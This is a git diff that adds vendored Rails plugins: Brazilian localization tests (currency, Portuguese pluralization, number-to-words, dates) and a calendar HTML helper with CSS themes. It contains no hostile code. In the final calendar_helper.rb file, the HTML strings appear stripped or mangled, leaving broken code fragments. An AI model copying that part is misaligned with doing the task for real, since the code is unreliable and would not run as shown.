@dinheiro.decimal("," + quantia) + assert_equal esperado, @dinheiro.decimal(quantia) if quantia.blank? + end + + def verifica_se_quantia_respeita_formato(quantia) + formatos_validos(quantia).each do |quantia_str| + assert 1.real.quantia_respeita_formato?(quantia_str), "O sistema deveria considerar o quantia '#{quantia_str}' dentro do formato valido." + end + end + + def formatos_validos(quantia) + formatos_validos = [] + quantias_validas(quantia).each do |quantia| + formatos_validos << quantia + [ "R$", "r$" ].each do |simbolo| + [ "", " ", " " ].each do |espacos| + formatos_validos << "#{simbolo}#{espacos}#{quantia}" + end + end + end + formatos_validos + end + + def quantias_validas(quantia) + return [quantia] if [ ".", "," ].include?(quantia[0..0]) + [ quantia, "-#{quantia}" ] + end + + def verifica_se_cria_dinheiro_para(quantia) + assert quantia.para_dinheiro.kind_of?(Dinheiro) + end + +end diff --git a/vendor/plugins/brazilian-rails/test/inflector_test.rb b/vendor/plugins/brazilian-rails/test/inflector_test.rb new file mode 100644 index 0000000..bc8a32d --- /dev/null +++ b/vendor/plugins/brazilian-rails/test/inflector_test.rb @@ -0,0 +1,93 @@ +require File.expand_path(File.dirname(__FILE__) + '/test_helper') + +class InflectorTest < Test::Unit::TestCase + + #general rule: add "s" to the end of the word + def test_general_rule + words = {:casa => "casas", + :pe => "pes", + :saci => "sacis", + :carro => "carros", + :pneu => "pneus" + } + verify_pluralize words + verify_singularize words + end + + #if word ends in "r" or "z", add "es" + def test_when_word_ends_in_r_or_z + words = {:flor => "flores", + :luz => "luzes" + } + verify_pluralize words + verify_singularize words + end + + #if word ends in "al", "el", "ol", "ul": trade "l" with "is" + def test_when_word_ends_in_al_el_ol_ul + words = {:hospital => "hospitais", + :telemovel => "telemoveis", + :farol => "farois", + :azul => "azuis" + } + verify_pluralize words + verify_singularize words + end + + + #if word ends in "il" and has tônic accent in last syllable, trade "il" with "is" + def test_when_word_end_in_il + words = {:cantil => "cantis"} + verify_pluralize words + end + + + #if word ends in "m", trade "m" with "ns" + def test_plurilize_when_word_ends_in_m + words = {:armazem => "armazens"} + verify_pluralize words + verify_singularize words + end + + #if word ends in "s" and has one silable, trade "s" with "es" + def test_plurilize_when_word_ends_in_s + words = {:portugues => "portugueses"} + verify_pluralize words + end + + def test_when_word_ends_in_ao + words = {:portão => "portões"} + verify_pluralize words + verify_singularize words + end + + def test_when_irregular_singular + words = {:cão => "cães", + :pão => "pães", + :mão => "mãos", + :alemão => "alemães" + } + verify_singularize words + end + + + def test_when_uncountable + words = {:tennis => "tennis", + :torax => "torax" + } + verify_pluralize words + verify_singularize words + end + + + private + + def verify_pluralize(words) + words.each { |key,value| assert_equal value, key.to_s.pluralize} + end + + def verify_singularize(words) + words.each { |key,value| assert_equal key.to_s, value.singularize} + end + +end diff --git a/vendor/plugins/brazilian-rails/test/number_test.rb b/vendor/plugins/brazilian-rails/test/number_test.rb new file mode 100644 index 0000000..fd92889 --- /dev/null +++ b/vendor/plugins/brazilian-rails/test/number_test.rb @@ -0,0 +1,184 @@ +require File.expand_path(File.dirname(__FILE__) + '/test_helper') + +class NumberTest < Test::Unit::TestCase + def test_unidades + assert_equal 'zero', 0.por_extenso + assert_equal 'um', 1.por_extenso + assert_equal 'dois', 2.por_extenso + assert_equal 'três', 3.por_extenso + assert_equal 'quatro', 4.por_extenso + assert_equal 'cinco', 5.por_extenso + assert_equal 'seis', 6.por_extenso + assert_equal 'sete', 7.por_extenso + assert_equal 'oito', 8.por_extenso + assert_equal 'nove', 9.por_extenso + end + + def test_dezenas + assert_equal 'dez', 10.por_extenso + assert_equal 'onze', 11.por_extenso + assert_equal 'doze', 12.por_extenso + assert_equal 'treze', 13.por_extenso + assert_equal 'quatorze', 14.por_extenso + assert_equal 'quinze', 15.por_extenso + assert_equal 'dezesseis', 16.por_extenso + assert_equal 'dezessete', 17.por_extenso + assert_equal 'dezoito', 18.por_extenso + assert_equal 'dezenove', 19.por_extenso + assert_equal 'vinte', 20.por_extenso + assert_equal 'trinta', 30.por_extenso + assert_equal 'quarenta', 40.por_extenso + assert_equal 'cinquenta', 50.por_extenso + assert_equal 'sessenta', 60.por_extenso + assert_equal 'setenta', 70.por_extenso + assert_equal 'oitenta', 80.por_extenso + assert_equal 'noventa', 90.por_extenso + end + + def test_dezenas_com_unidades + assert_equal 'vinte e um', 21.por_extenso + assert_equal 'trinta e dois', 32.por_extenso + assert_equal 'quarenta e três', 43.por_extenso + assert_equal 'cinquenta e quatro', 54.por_extenso + assert_equal 'sessenta e cinco', 65.por_extenso + assert_equal 'setenta e seis', 76.por_extenso + assert_equal 'oitenta e sete', 87.por_extenso + assert_equal 'noventa e oito', 98.por_extenso + end + + def test_centenas + assert_equal 'cem', 100.por_extenso + assert_equal 'duzentos', 200.por_extenso + assert_equal 'trezentos', 300.por_extenso + assert_equal 'quatrocentos', 400.por_extenso + assert_equal 'quinhentos', 500.por_extenso + assert_equal 'seiscentos', 600.por_extenso + assert_equal 'setecentos', 700.por_extenso + assert_equal 'oitocentos', 800.por_extenso + assert_equal 'novecentos', 900.por_extenso + end + + def test_centenas_com_dezenas_e_unidades + assert_equal 'cento e um', 101.por_extenso + assert_equal 'cento e dez', 110.por_extenso + assert_equal 'cento e onze', 111.por_extenso + + assert_equal 'duzentos e dois', 202.por_extenso + assert_equal 'duzentos e vinte', 220.por_extenso + assert_equal 'duzentos e vinte e dois', 222.por_extenso + + assert_equal 'trezentos e três', 303.por_extenso + assert_equal 'trezentos e trinta', 330.por_extenso + assert_equal 'trezentos e trinta e três', 333.por_extenso + + assert_equal 'quatrocentos e quatro', 404.por_extenso + assert_equal 'quatrocentos e quarenta', 440.por_extenso + assert_equal 'quatrocentos e quarenta e quatro', 444.por_extenso + + assert_equal 'quinhentos e cinco', 505.por_extenso + assert_equal 'quinhentos e cinquenta', 550.por_extenso + assert_equal 'quinhentos e cinquenta e cinco', 555.por_extenso + + assert_equal 'seiscentos e seis', 606.por_extenso + assert_equal 'seiscentos e sessenta', 660.por_extenso + assert_equal 'seiscentos e sessenta e seis', 666.por_extenso + + assert_equal 'setecentos e sete', 707.por_extenso + assert_equal 'setecentos e setenta', 770.por_extenso + assert_equal 'setecentos e setenta e sete', 777.por_extenso + + assert_equal 'oitocentos e oito', 808.por_extenso + assert_equal 'oitocentos e oitenta', 880.por_extenso + assert_equal 'oitocentos e oitenta e oito', 888.por_extenso + + assert_equal 'novecentos e nove', 909.por_extenso + assert_equal 'novecentos e noventa', 990.por_extenso + assert_equal 'novecentos e noventa e nove', 999.por_extenso + end + + def test_mil + assert_equal 'um mil', 1_000.por_extenso + assert_equal 'um mil e um', 1_001.por_extenso + assert_equal 'um mil e dez', 1_010.por_extenso + assert_equal 'um mil e onze', 1_011.por_extenso + assert_equal 'um mil e cem', 1_100.por_extenso + assert_equal 'um mil e cento e um', 1_101.por_extenso + assert_equal 'um mil e cento e dez', 1_110.por_extenso + assert_equal 'um mil e cento e onze', 1_111.por_extenso + assert_equal 'dez mil', 10_000.por_extenso + assert_equal 'cem mil', 100_000.por_extenso + assert_equal 'cento e dez mil', 110_000.por_extenso + end + + def test_milhao + assert_equal 'um milhão', 1_000_000.por_extenso + assert_equal 'um milhão e um mil e um', 1_001_001.por_extenso + assert_equal 'um milhão e dez mil e dez', 1_010_010.por_extenso + assert_equal 'um milhão e onze mil e onze', 1_011_011.por_extenso + assert_equal 'um milhão e cem mil e cem', 1_100_100.por_extenso + assert_equal 'um milhão e cento e um mil e cento e um', 1_101_101.por_extenso + assert_equal 'um milhão e cento e dez mil e cento e dez', 1_110_110.por_extenso + assert_equal 'um milhão e cento e onze mil e cento e onze', 1_111_111.por_extenso + assert_equal 'dez milhões', 10_000_000.por_extenso + assert_equal 'cem milhões', 100_000_000.por_extenso + assert_equal 'cento e dez milhões', 110_000_000.por_extenso + end + + def test_bilhao + assert_equal 'um bilhão', 1_000_000_000.por_extenso + assert_equal 'um bilhão e um milhão e um mil e um', 1_001_001_001.por_extenso + assert_equal 'um bilhão e dez milhões e dez mil e dez', 1_010_010_010.por_extenso + assert_equal 'um bilhão e onze milhões e onze mil e onze', 1_011_011_011.por_extenso + assert_equal 'um bilhão e cem milhões e cem mil e cem', 1_100_100_100.por_extenso + assert_equal 'um bilhão e cento e um milhões e cento e um mil e cento e um', 1_101_101_101.por_extenso + assert_equal 'um bilhão e cento e dez milhões e cento e dez mil e cento e dez', 1_110_110_110.por_extenso + assert_equal 'um bilhão e cento e onze milhões e cento e onze mil e cento e onze', 1_111_111_111.por_extenso + assert_equal 'dez bilhões', 10_000_000_000.por_extenso + assert_equal 'cem bilhões', 100_000_000_000.por_extenso + assert_equal 'cento e dez bilhões', 110_000_000_000.por_extenso + end + + def test_trilhao + assert_equal 'um trilhão', 1_000_000_000_000.por_extenso + assert_equal 'um trilhão e um bilhão e um milhão e um mil e um', 1_001_001_001_001.por_extenso + assert_equal 'um trilhão e dez bilhões e dez milhões e dez mil e dez', 1_010_010_010_010.por_extenso + assert_equal 'um trilhão e onze bilhões e onze milhões e onze mil e onze', 1_011_011_011_011.por_extenso + assert_equal 'um trilhão e cem bilhões e cem milhões e cem mil e cem', 1_100_100_100_100.por_extenso + assert_equal 'um trilhão e cento e um bilhões e cento e um milhões e cento e um mil e cento e um', 1_101_101_101_101.por_extenso + assert_equal 'um trilhão e cento e dez bilhões e cento e dez milhões e cento e dez mil e cento e dez', 1_110_110_110_110.por_extenso + assert_equal 'um trilhão e cento e onze bilhões e cento e onze milhões e cento e onze mil e cento e onze', 1_111_111_111_111.por_extenso + assert_equal 'dez trilhões', 10_000_000_000_000.por_extenso + assert_equal 'cem trilhões', 100_000_000_000_000.por_extenso + assert_equal 'cento e dez trilhões', 110_000_000_000_000.por_extenso + end + + def test_numero_maior_que_trilhao_eh_rejetaido + begin + 1_000_000_000_000_000.por_extenso + raise "Deveria lançar RuntimeError com mensagem 'Valor excede o permitido'" + rescue RuntimeError => e + assert_equal RuntimeError, e.class + assert_equal 'Valor excede o permitido: 1000000000000000', e.message + end + end + + def test_valores_em_real + assert_equal 'grátis', 0.por_extenso_em_reais + assert_equal 'um centavo', 0.01.por_extenso_em_reais + assert_equal 'dois centavos', 0.02.por_extenso_em_reais + assert_equal 'vinte e um centavos', 0.21.por_extenso_em_reais + assert_equal 'um real', 1.00.por_extenso_em_reais + assert_equal 'um real', 1.por_extenso_em_reais + assert_equal 'um real e um centavo', 1.01.por_extenso_em_reais + assert_equal 'um real e dois centavos', 1.02.por_extenso_em_reais + assert_equal 'um milhão de reais e um centavo', 1_000_000.01.por_extenso_em_reais + assert_equal 'dois milhões de reais e um centavo', 2_000_000.01.por_extenso_em_reais + assert_equal 'dois milhões e duzentos reais e um centavo', 2_000_200.01.por_extenso_em_reais + assert_equal 'um bilhão de reais e um centavo', 1_000_000_000.01.por_extenso_em_reais + assert_equal 'um trilhão de reais e um centavo', 1_000_000_000_000.01.por_extenso_em_reais + assert_equal 'cento e vinte e oito mil e duzentos e quarenta e três reais e vinte e oito centavos', 128_243.28.por_extenso_em_reais + assert_equal 'oitenta e dois mil e trezentos e oitenta e nove reais e dezenove centavos', 82_389.19.por_extenso_em_reais + assert_equal 'dois mil e trezentos e quarenta e sete reais e vinte e oito centavos', 2_347.28.por_extenso_em_reais + assert_equal 'noventa e dois mil e trezentos e setenta e dois reais e oitenta e seis centavos', 92_372.86.por_extenso_em_reais + end +end diff --git a/vendor/plugins/brazilian-rails/test/string_portuguese_test.rb b/vendor/plugins/brazilian-rails/test/string_portuguese_test.rb new file mode 100644 index 0000000..6d26ebb --- /dev/null +++ b/vendor/plugins/brazilian-rails/test/string_portuguese_test.rb @@ -0,0 +1,44 @@ +require File.expand_path(File.dirname(__FILE__) + '/test_helper') + +class StringPortugueseTest < Test::Unit::TestCase + def test_nome_proprio + assert_equal "Celestino Gomes", "celestino gomes".nome_proprio + assert_equal "Celestino da Silva", "celestino da silva".nome_proprio + assert_equal "Celestino de Souza", "celestino de souza".nome_proprio + assert_equal "Celestino do Carmo", "celestino do carmo".nome_proprio + assert_equal "Celestino e Souza", "celestino e souza".nome_proprio + assert_equal "Celestino das Couves", "celestino das couves".nome_proprio + assert_equal "Celestino dos Santos", "celestino dos santos".nome_proprio + assert_equal "Celestino Gomes da Silva de Souza do Carmo e Souza das Couves dos Santos", "celestino gomes da silva de souza do carmo e souza das couves dos santos".nome_proprio + assert_equal 'Maria João da Silva', 'MariaJoão da silva'.nome_proprio + assert_equal "Átila da Silva", 'átila da silva'.nome_proprio + assert_equal "Érica da Silva", 'érica da silva'.nome_proprio + assert_equal "Íris Santos", 'íris santos'.nome_proprio + + palavras_excluidas = %w(? ! @ # $ % & * \ / ? , . ; ] [ } { = + 0 1 2 3 4 5 6 7 8 9) + + palavras_excluidas.each do |char| + assert_equal char, char.nome_proprio, "Não deveria alterar o caracter '#{char}'" + end + end + + def test_remover_acentos + assert_equal 'aeiouAEIOU', "áéíóúÁÉÍÓÚ".remover_acentos + assert_equal 'aeiouAEIOU', "âêîôûÂÊÎÔÛ".remover_acentos + assert_equal 'aeiouAEIOU', "àèìòùÀÈÌÒÙ".remover_acentos + assert_equal 'aeiouAEIOU', "äëïöüÄËÏÖÜ".remover_acentos + assert_equal 'aoAO', "ãõÃÕ".remover_acentos + assert_equal 'nN', "ñÑ".remover_acentos + assert_equal 'cC', "çÇ".remover_acentos + assert_equal 'aeiouAEIOUaeiouAEIOUaeiouAEIOUaeiouAEIOUaoAOnNcC', "áéíóúÁÉÍÓÚâêîôûÂÊÎÔÛàèìòùÀÈÌÒÙäëïöüÄËÏÖÜãõÃÕñÑçÇ".remover_acentos + end + + def test_downcase_br + assert_equal 'áéíóúâêîôûàèìòùäëïöüãõñç', 'ÁÉÍÓÚÂÊÎÔÛÀÈÌÒÙÄËÏÖÜÃÕÑÇ'.downcase_br + end + + def test_upcase_br + assert_equal 'ÁÉÍÓÚÂÊÎÔÛÀÈÌÒÙÄËÏÖÜÃÕÑÇ', 'áéíóúâêîôûàèìòùäëïöüãõñç'.upcase_br + end + +end diff --git a/vendor/plugins/brazilian-rails/test/test_helper.rb b/vendor/plugins/brazilian-rails/test/test_helper.rb new file mode 100644 index 0000000..5771692 --- /dev/null +++ b/vendor/plugins/brazilian-rails/test/test_helper.rb @@ -0,0 +1,39 @@ +ENV["RAILS_ENV"] = "test" +require File.expand_path(File.dirname(__FILE__) + "/../../../../config/environment") +require 'test_help' + +class Test::Unit::TestCase + # Transactional fixtures accelerate your tests by wrapping each test method + # in a transaction that's rolled back on completion. This ensures that the + # test database remains unchanged so your fixtures don't have to be reloaded + # between every test method. Fewer database queries means faster tests. + # + # Read Mike Clark's excellent walkthrough at + # http://clarkware.com/cgi/blosxom/2005/10/24#Rails10FastTesting + # + # Every Active Record database supports transactions except MyISAM tables + # in MySQL. Turn off transactional fixtures in this case; however, if you + # don't care one way or the other, switching from MyISAM to InnoDB tables + # is recommended. + self.use_transactional_fixtures = true + + # Instantiated fixtures are slow, but give you @david where otherwise you + # would need people(:david). If you don't want to migrate your existing + # test cases which use the @david style and don't mind the speed hit (each + # instantiated fixtures translates to a database query per test method), + # then set this back to true. + self.use_instantiated_fixtures = false + + # Add more helper methods to be used by all tests here... + + require File.expand_path(File.dirname(__FILE__) + "/../init") + require 'inflector_portuguese' + + def tornar_metodos_publicos(clazz) + clazz.class_eval do + private_instance_methods.each { |instance_method| public instance_method } + private_methods.each { |method| public_class_method method } + end + end + +end diff --git a/vendor/plugins/brazilian-rails/test/time_test.rb b/vendor/plugins/brazilian-rails/test/time_test.rb new file mode 100644 index 0000000..f210409 --- /dev/null +++ b/vendor/plugins/brazilian-rails/test/time_test.rb @@ -0,0 +1,64 @@ +require File.dirname(__FILE__) + '/test_helper' + +class TimeTest < Test::Unit::TestCase + + #to_s + def test_time_to_s_with_traditional_format + assert_equal "Mon Sep 24 16:03:05 UTC 2007", "Mon Sep 24 16:03:05 UTC 2007".to_time.to_s + end + + #to_s_br + def test_time_to_s_br + assert_equal "24/09/2007 16:03", "Mon Sep 24 16:03:05 UTC 2007".to_time.to_s_br + end + + def test_month_names + assert_equal [nil, + "Janeiro", + "Fevereiro", + "Marco", + "Abril", + "Maio", + "Junho", + "Julho", + "Agosto", + "Setembro", + "Outubro", + "Novembro", + "Dezembro"], + Time::MONTHNAMES + end + + def test_days_names + assert_equal ["Domingo", + "Segunda-Feira", + "Terca-Feira", + "Quarta-Feira", + "Quinta-Feira", + "Sexta-Feira", + "Sabado"], + Time::DAYNAMES + end + + def test_abbr_monthnames + assert_equal [nil, + "Jan", + "Fev", + "Mar", + "Abr", + "Mai", + "Jun", + "Jul", + "Ago", + "Set", + "Out", + "Nov", + "Dez"], + Time::ABBR_MONTHNAMES + end + + def test_abbr_daysnames + assert_equal ["Dom", "Seg", "Ter", "Qua", "Qui", "Sex", "Sab"], Time::ABBR_DAYNAMES + end + +end diff --git a/vendor/plugins/brazilian-rails/uninstall.rb b/vendor/plugins/brazilian-rails/uninstall.rb new file mode 100644 index 0000000..9738333 --- /dev/null +++ b/vendor/plugins/brazilian-rails/uninstall.rb @@ -0,0 +1 @@ +# Uninstall hook code here diff --git a/vendor/plugins/calendar_helper/MIT-LICENSE b/vendor/plugins/calendar_helper/MIT-LICENSE new file mode 100644 index 0000000..304ba06 --- /dev/null +++ b/vendor/plugins/calendar_helper/MIT-LICENSE @@ -0,0 +1,20 @@ +Copyright (c) 2006 Jeremy Voorhis and Geoffrey Grosenbach + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/vendor/plugins/calendar_helper/README b/vendor/plugins/calendar_helper/README new file mode 100644 index 0000000..9aba94f --- /dev/null +++ b/vendor/plugins/calendar_helper/README @@ -0,0 +1,30 @@ +CalendarHelper +============== + +A simple helper for creating an HTML calendar. The "calendar" method will be automatically available to your view templates. + +There is also a Rails generator that copies some stylesheets for use alone or alongside existing stylesheets. + +Authors +======= + +Jeremy Voorhis -- http://jvoorhis.com +Original implementation + +Jarkko Laine -- http://jlaine.net/ +Dynamic enhancements for starting week on Monday and highlighting weekends + +Geoffrey Grosenbach -- http://nubyonrails.com +Test suite and conversion to a Rails plugin + +Usage +===== + +See the RDoc (or use "rake rdoc"). + +To copy the CSS files, use + + ./script/generate calendar_styles + +CSS will be copied to subdirectories of public/stylesheets/calendar. + diff --git a/vendor/plugins/calendar_helper/Rakefile b/vendor/plugins/calendar_helper/Rakefile new file mode 100644 index 0000000..6875f6a --- /dev/null +++ b/vendor/plugins/calendar_helper/Rakefile @@ -0,0 +1,22 @@ +require 'rake' +require 'rake/testtask' +require 'rake/rdoctask' + +desc 'Default: run unit tests.' +task :default => :test + +desc 'Test the calendar_helper plugin.' +Rake::TestTask.new(:test) do |t| + t.libs << 'lib' + t.pattern = 'test/**/test_*.rb' + t.verbose = true +end + +desc 'Generate documentation for the calendar_helper plugin.' +Rake::RDocTask.new(:rdoc) do |rdoc| + rdoc.rdoc_dir = 'rdoc' + rdoc.title = 'CalendarHelper' + rdoc.options << '--line-numbers' << '--inline-source' + rdoc.rdoc_files.include('README') + rdoc.rdoc_files.include('lib/**/*.rb') +end diff --git a/vendor/plugins/calendar_helper/about.yml b/vendor/plugins/calendar_helper/about.yml new file mode 100644 index 0000000..1c33258 --- /dev/null +++ b/vendor/plugins/calendar_helper/about.yml @@ -0,0 +1,7 @@ +author: topfunky +summary: Generates a table-based HTML calendar that can be styled with CSS. Also includes a generator with relevant stylesheets. +homepage: http://nubyonrails.com +plugin: http://topfunky.net/svn/plugins/calendar_helper +license: MIT +version: 0.2 +rails_version: 1.0+ diff --git a/vendor/plugins/calendar_helper/generators/calendar_styles/calendar_styles_generator.rb b/vendor/plugins/calendar_helper/generators/calendar_styles/calendar_styles_generator.rb new file mode 100644 index 0000000..5e6280e --- /dev/null +++ b/vendor/plugins/calendar_helper/generators/calendar_styles/calendar_styles_generator.rb @@ -0,0 +1,20 @@ +class CalendarStylesGenerator < Rails::Generator::Base + + def manifest + record do |m| + calendar_themes_dir = "public/stylesheets/calendar" + m.directory calendar_themes_dir + + # Copy files + %w(red blue grey).each do |dir| + m.directory File.join(calendar_themes_dir, dir) + m.file File.join("#{dir}/style.css"), File.join(calendar_themes_dir, "#{dir}/style.css") + end + + # Dir.read("vendor/public/calendar_helper/generators/calendar_styles/templates").each do |dir| +# m.file "orig", File.join(calendar_themes_dir, dir.name, "some_file.css") +# end + + end + end +end diff --git a/vendor/plugins/calendar_helper/generators/calendar_styles/templates/blue/style.css b/vendor/plugins/calendar_helper/generators/calendar_styles/templates/blue/style.css new file mode 100644 index 0000000..f1c40d4 --- /dev/null +++ b/vendor/plugins/calendar_helper/generators/calendar_styles/templates/blue/style.css @@ -0,0 +1,63 @@ +/* + A blue based theme, inspired by Blinksale and their ColorBurn widget. http://firewheeldesign.com + + AUTHOR: Geoffrey Grosenbach http://nubyonrails.com + + Colors: + Light Blue: bbccff + White: eeddee + Turq: 003355 + Cream: ffffdd +*/ + +.calendar { + margin: auto; +} + +.monthName th { + font-weight: normal; + text-align: right; + padding-top: 1em; + padding-bottom: 0.7em; +} + +.dayName th { + font-size: 0.7em; + padding-top: 0.6em; + padding-bottom: 0.3em; + background-color: #303030; + color: white; +} + +.otherMonth, .day, .specialDay { + padding: 0.7em 1em; + border-right: 1px solid white; + +} + +.otherMonth { + color: #eeeeee; + background-color: white; +} + +.day, .specialDay { + text-align: center; + border-bottom: 1px dotted #bbbbbb; + background-color: #bbccff; +} +.specialDay { + background-color: #003355; + color: white; +} +.specialDay a, .specialDay a:visited, .specialDay a:hover { + color: white; + text-decoration: none; + padding: 1em; +} +.specialDay a:hover { + color: white; + background-color: black; +} +.weekendDay { + background-color: #ffffdd; +} diff --git a/vendor/plugins/calendar_helper/generators/calendar_styles/templates/grey/style.css b/vendor/plugins/calendar_helper/generators/calendar_styles/templates/grey/style.css new file mode 100644 index 0000000..45947b4 --- /dev/null +++ b/vendor/plugins/calendar_helper/generators/calendar_styles/templates/grey/style.css @@ -0,0 +1,74 @@ +/* + A grey based theme, inspired by Blinksale and their ColorBurn widget. http://firewheeldesign.com + + AUTHOR: Geoffrey Grosenbach http://nubyonrails.com + + Colors: + dk: 787888 + lt: 4f4f5b + lter: a8a8a8 + white: ffffff +*/ + +/* TODO */ + +.calendar { + margin: auto; + color: white; + text-align: center; +} + +.monthName th { + font-weight: normal; + text-align: right; + padding-top: 1em; + padding-bottom: 0.7em; + color: black; +} + +.dayName th { + font-size: 0.7em; + padding-top: 0.6em; + padding-bottom: 0.3em; + background-color: #303030; + color: white; + border-bottom: 1px solid white; +} + +.otherMonth, .day, .specialDay { + padding: 0.7em 1em; + border-right: 1px solid #111111; +} + +.otherMonth { + color: #999999; + background-color: #4f4f5b; +} + +.day, .specialDay { + border-bottom: 1px solid #111111; + background-color: #333333; +} +.specialDay { + background-color: #a8a8a8; + color: black; +} +.specialDay a, .specialDay a:visited, .specialDay a:hover { + color: white; + text-decoration: none; + padding: 1em; +} +.specialDay a:hover { + color: white; + background-color: black; +} +.weekendDay { + background-color: #787888; +} + +Colors: + dk: 787888 + lt: 4f4f5b + lter: a8a8a8 + white: ffffff + diff --git a/vendor/plugins/calendar_helper/generators/calendar_styles/templates/red/style.css b/vendor/plugins/calendar_helper/generators/calendar_styles/templates/red/style.css new file mode 100644 index 0000000..71393c0 --- /dev/null +++ b/vendor/plugins/calendar_helper/generators/calendar_styles/templates/red/style.css @@ -0,0 +1,56 @@ +/* + A red, white, and grey theme. + + AUTHOR: Geoffrey Grosenbach http://nubyonrails.com +*/ + +.calendar { + margin: auto; +} + +.monthName th { + font-weight: normal; + text-align: right; + padding-top: 1em; + padding-bottom: 0.7em; +} + +.dayName th { + font-size: 0.7em; + padding-top: 0.6em; + padding-bottom: 0.3em; + background-color: #303030; + color: white; +} + +.otherMonth, .day, .specialDay { + padding: 0.7em 1em; + border-right: 1px solid white; + +} + +.otherMonth { + color: #eeeeee; +} +.weekendDay { + background-color: #eeeeee; +} + +.day, .specialDay { + text-align: center; + border-bottom: 1px dotted #bbbbbb; +} + +.specialDay { + background-color: #d10a21; + color: white; +} +.specialDay a, .specialDay a:visited, .specialDay a:hover { + color: white; + text-decoration: none; + padding: 1em; +} +.specialDay a:hover { + color: white; + background-color: black; +} diff --git a/vendor/plugins/calendar_helper/init.rb b/vendor/plugins/calendar_helper/init.rb new file mode 100644 index 0000000..8f128a7 --- /dev/null +++ b/vendor/plugins/calendar_helper/init.rb @@ -0,0 +1 @@ +ActionView::Base.send :include, CalendarHelper diff --git a/vendor/plugins/calendar_helper/lib/calendar_helper.rb b/vendor/plugins/calendar_helper/lib/calendar_helper.rb new file mode 100644 index 0000000..72cf4f6 --- /dev/null +++ b/vendor/plugins/calendar_helper/lib/calendar_helper.rb @@ -0,0 +1,138 @@ +require 'date' + +# CalendarHelper allows you to draw a databound calendar with fine-grained CSS formatting +module CalendarHelper + # Returns an HTML calendar. In its simplest form, this method generates a plain + # calendar (which can then be customized using CSS) for a given month and year. + # However, this may be customized in a variety of ways -- changing the default CSS + # classes, generating the individual day entries yourself, and so on. + # + # The following options are required: + # :year # The year number to show the calendar for. + # :month # The month number to show the calendar for. + # + # The following are optional, available for customizing the default behaviour: + # :table_class => "calendar" # The class for the tag. + # :month_name_class => "monthName" # The class for the name of the month, at the top of the table. + # :other_month_class => "otherMonth" # Not implemented yet. + # :day_name_class => "dayName" # The class is for the names of the weekdays, at the top. + # :day_class => "day" # The class for the individual day number cells. + # This may or may not be used if you specify a block (see below). + # :abbrev => (0..2) # This option specifies how the day names should be abbreviated. + # Use (0..2) for the first three letters, (0..0) for the first, and + # (0..-1) for the entire name. + # :first_day_of_week => 0 # Renders calendar starting on Sunday. Use 1 for Monday, and so on. + # + # For more customization, you can pass a code block to this method, that will get one argument, a Date object, + # and return a values for the individual table cells. The block can return an array, [cell_text, cell_attrs], + # cell_text being the text that is displayed and cell_attrs a hash containing the attributes for the \s*\s*
    tag + # (this can be used to change the 's class for customization with CSS). + # This block can also return the cell_text only, in which case the 's class defaults to the value given in + # +:day_class+. If the block returns nil, the default options are used. + # + # Example usage: + # calendar(:year => 2005, :month => 6) # This generates the simplest possible calendar. + # calendar({:year => 2005, :month => 6, :table_class => "calendar_helper"}) # This generates a calendar, as + # # before, but the 's class + # # is set to "calendar_helper". + # calendar(:year => 2005, :month => 6, :abbrev => (0..-1)) # This generates a simple calendar but shows the + # # entire day name ("Sunday", "Monday", etc.) instead + # # of only the first three letters. + # calendar(:year => 2005, :month => 5) do |d| # This generates a simple calendar, but gives special days + # if listOfSpecialDays.include?(d) # (days that are in the array listOfSpecialDays) one CSS class, + # [d.mday, {:class => "specialDay"}] # "specialDay", and gives the rest of the days another CSS class, + # else # "normalDay". You can also use this highlight today differently + # [d.mday, {:class => "normalDay"}] # from the rest of the days, etc. + # end + # end + # + # An additional 'weekend' class is applied to weekend days. + # + # For consistency with the themes provided in the calendar_styles generator, use "specialDay" as the CSS class for marked days. + # + def calendar(options = {}, &block) + raise(ArgumentError, "No year given") unless options.has_key?(:year) + raise(ArgumentError, "No month given") unless options.has_key?(:month) + + block ||= Proc.new {|d| nil} + + defaults = { + :table_class => 'calendar', + :month_name_class => 'monthName', + :other_month_class => 'otherMonth', + :day_name_class => 'dayName', + :day_class => 'day', + :abbrev => (0..2), + :first_day_of_week => 0 + } + options = defaults.merge options + + first = Date.civil(options[:year], options[:month], 1) + last = Date.civil(options[:year], options[:month], -1) + + first_weekday = first_day_of_week(options[:first_day_of_week]) + last_weekday = last_day_of_week(options[:first_day_of_week]) + + day_names = Date::DAYNAMES.dup + first_weekday.times do + day_names.push(day_names.shift) + end + + cal = %(
    ) + cal << %() + day_names.each {|d| cal << ""} + cal << "" + beginning_of_week(first, first_weekday).upto(first - 1) do |d| + cal << %() + end unless first.wday == first_weekday + first.upto(last) do |cur| + cell_text, cell_attrs = block.call(cur) + cell_text ||= cur.mday + cell_attrs ||= {:class => options[:day_class]} + cell_attrs[:class] += " weekendDay" if [0, 6].include?(cur.wday) + cell_attrs = cell_attrs.map {|k, v| %(#{k}="#{v}") }.join(" ") + cal << "" + cal << "" if cur.wday == last_weekday + end + (last + 1).upto(beginning_of_week(last + 7, first_weekday) - 1) do |d| + cal << %() + end unless last.wday == last_weekday + cal << "
    «#{Date::MONTHNAMES[options[:month]]}»
    #{d[options[:abbrev]]}
    #{d.day}#{cell_text}
    #{d.day}
